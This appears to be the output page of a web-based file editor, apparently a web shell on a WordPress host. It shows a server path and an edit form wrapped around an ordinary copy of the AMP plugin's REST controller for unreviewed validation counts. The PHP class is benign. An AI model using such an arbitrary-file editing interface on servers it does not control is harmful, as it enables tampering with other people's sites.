<h2>File Contents: /home/planet5/www/wp-content/plugins/amp/src/Validation/copy_of_ValidationCountsRestController.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/amp/src/Validation/copy_of_ValidationCountsRestController.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * ValidationCountsRestController class.
 *
 * @package AmpProject\AmpWP
 * @since 2.1
 */

namespace AmpProject\AmpWP\Validation;

use AMP_Validated_URL_Post_Type;
use AMP_Validation_Error_Taxonomy;
use AmpProject\AmpWP\DevTools\UserAccess;
use WP_Error;
use WP_REST_Controller;
use AmpProject\AmpWP\Infrastructure\Delayed;
use AmpProject\AmpWP\Infrastructure\Registerable;
use AmpProject\AmpWP\Infrastructure\Service;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;

/**
 * Rest endpoint for fetching the total count of unreviewed validation URLs and validation errors.
 *
 * @since 2.1
 * @internal
 */
final class ValidationCountsRestController extends WP_REST_Controller implements Delayed, Service, Registerable {

	/** @var UserAccess DevTools User Access */
	private $dev_tools_user_access;

	/**
	 * Get the action to use for registering the service.
	 *
	 * @return string Registration action to use.
	 */
	public static function get_registration_action() {
		return &#039;rest_api_init&#039;;
	}

	/**
	 * Constructor.
	 *
	 * @param UserAccess $user_access Instance of UserAccess class.
	 */
	public function __construct( UserAccess $user_access ) {
		$this-&gt;namespace             = &#039;amp/v1&#039;;
		$this-&gt;rest_base             = &#039;unreviewed-validation-counts&#039;;
		$this-&gt;dev_tools_user_access = $user_access;
	}

	/**
	 * Registers all routes for the controller.
	 */
	public function register() {
		register_rest_route(
			$this-&gt;namespace,
			&#039;/&#039; . $this-&gt;rest_base,
			[
				[
					&#039;methods&#039;             =&gt; WP_REST_Server::READABLE,
					&#039;callback&#039;            =&gt; [ $this, &#039;get_items&#039; ],
					&#039;args&#039;                =&gt; [],
					&#039;permission_callback&#039; =&gt; [ $this, &#039;get_items_permissions_check&#039; ],
				],
				&#039;schema&#039; =&gt; [ $this, &#039;get_public_item_schema&#039; ],
			]
		);
	}

	/**
	 * Checks whether the current user has access to Dev Tools.
	 *
	 * @param  WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission; WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		$dev_tools_access = $this-&gt;dev_tools_user_access-&gt;is_user_enabled();

		if ( ! $dev_tools_access ) {
			return new WP_Error(
				&#039;amp_rest_no_dev_tools_access&#039;,
				__( &#039;Sorry, you are not allowed to view unreviewed counts for validation errors.&#039;, &#039;amp&#039; ),
				[ &#039;status&#039; =&gt; rest_authorization_required_code() ]
			);
		}

		return true;
	}

	/**
	 * Retrieves total unreviewed count for validation URLs and errors.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		$unreviewed_validated_url_count    = AMP_Validated_URL_Post_Type::get_validation_error_urls_count();
		$unreviewed_validation_error_count = AMP_Validation_Error_Taxonomy::get_validation_error_count(
			[
				&#039;group&#039; =&gt; [
					AMP_Validation_Error_Taxonomy::VALIDATION_ERROR_NEW_REJECTED_STATUS,
					AMP_Validation_Error_Taxonomy::VALIDATION_ERROR_NEW_ACCEPTED_STATUS,
				],
			]
		);

		$response = [
			&#039;validated_urls&#039; =&gt; $unreviewed_validated_url_count,
			&#039;errors&#039;         =&gt; $unreviewed_validation_error_count,
		];

		return rest_ensure_response( $response );
	}

	/**
	 * Retrieves the block type&#039; schema, conforming to JSON Schema.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return [
			&#039;$schema&#039;    =&gt; &#039;http://json-schema.org/draft-04/schema#&#039;,
			&#039;title&#039;      =&gt; &#039;amp-wp-validation-status&#039;,
			&#039;type&#039;       =&gt; &#039;object&#039;,
			&#039;properties&#039; =&gt; [
				&#039;validation_urls&#039; =&gt; [
					&#039;type&#039;     =&gt; &#039;integer&#039;,
					&#039;readonly&#039; =&gt; true,
				],
				&#039;errors&#039;          =&gt; [
					&#039;type&#039;     =&gt; &#039;integer&#039;,
					&#039;readonly&#039; =&gt; true,
				],
			],
		];
	}
}
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